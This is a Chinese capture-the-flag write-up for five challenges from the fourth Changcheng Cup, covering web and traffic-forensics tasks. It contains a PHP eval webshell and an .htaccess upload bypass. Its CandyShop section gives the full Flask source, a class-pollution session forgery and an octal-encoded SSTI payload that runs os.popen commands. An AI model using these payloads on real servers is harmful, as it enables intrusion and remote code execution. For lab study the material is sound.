第四届长城杯部分wp

还是太菜了，要经常练了

1.BrickGame

读源码可以看到时间的值是由js设定的，所以控制台将timeleft的时间改成999999

通过游戏就可以得到flag

2.SQLUP

一道文件上传的题目，在登陆页面我用admin和1登陆成功了，但是按照正常的应该是要爆破，用bp爆破得到下面的页面

登陆成功后，点击头像就可以进行文件上传，先上传一个php文件发现它限制带p的文件。

那就我想到了.htaccess文件和.user.ini文件，我使用的.htaccess文件，文件内容如下

AddType application/X-httped-php .gif

然后在上传一个1.gif文件，gif文件内容就是一句话木马

<?php @eval($_POST[1]);?>

然后访问url+uploads/gif文件名

探针测试了一下发现上传成功了

之后连接蚁剑，直接cat flag不行，需要提权，提权命令如下

tac -s 'RANDOM' "/flag"

得到flag

3.漏洞探测，流量解密

下载附件打开，发现有两个阶段，第二阶段的压缩包密码是第一阶段的攻击ip;

先在第一阶段找攻击ip，

我们可以看到木马文件为gateway.php

然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234

因此压缩包密码为192.168.30.234

打开压缩包，还是一个流量文件，用wireshark打开，导出http流，查看其中gateway.php文件中执行的命令和回显。

在某一个文件中找到了提示，加密方式是RC4

在剩余文件中找到了key和raw，即秘钥和密文

把raw前面的key删了用rc4解密就得到flag了

4.最安全的加密方式

下载附件打开，用Wireshark打开流量，点击左上角文件里的导出对象里的http，将里面的文件全部导出

将每个文件依次使用记事本打开，发现index(3).php和index(6).php文件里的内容与其他不同，打开index(6).php发现rar头

然后进入wireshark将将它进行原始数据进行转换，转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉，前面找到rar部分，最前面都删掉，后面的---的全部删掉，得到一个压缩包，需要密码，在另一个文件中找到密码

25ming

打开压缩包中的文档，发现有一堆md5数据，逐行解密md5即可得到flag

5.CandyShop

它给了源码，对源码进行审计一下

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')
    
class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))
    
    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))
    
    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))
    
    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

找出关键代码

# 获取flag大致路径的
if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

# 造成原型链污染处
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
....
admin = Admin()
merge(session,admin)
....

# SSTI处
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

# SSTI Waf处
def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

第二段可以上网搜一下明显的原型链污染，之后我也会了解相关知识出一篇文章

在第一段代码上面有这样的一段代码

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

就是只要sold>10就会置0，所以这里用session伪造，去得到secret.txt

这里爆破key的值为a123456，然后就可以来伪造session,通过伪造sold超过500获取一下secret.txt的内容

爆破相关知识如下

Flask之session伪造(从某平台学习Session身份伪造)_session 存储身份 是否伪造-CSDN博客

在/admin/view_inventory有渲染接口，但是下面限制了不能有字母

所以需要别的方法进行绕过，绕过方法可以看下面这篇文章

https://ctftime.org/writeup/22159

最后测试出用八进制绕过这里的限制，然后再通过flask unsign工具来伪造一下session

网址：https://github.com/Paradoxis/Flask-Unsign

flask-unsign --sign --cookie "{'identity': 'admin', 'username': 'test3','__init__':{'__global
s__':{'sold':857,'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\167\\150\\157\\141\\155\\151\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'

 在前面中已经找到了/tmp/目录接着用这个进行执行命令

不断进行ls得到目录，在ls /tmp/

15021e2b855f8e2ab83431c5d8ad4e75

得到下一个目录直到得到flag

这个题两个知识点session爆破和伪造，无字母绕过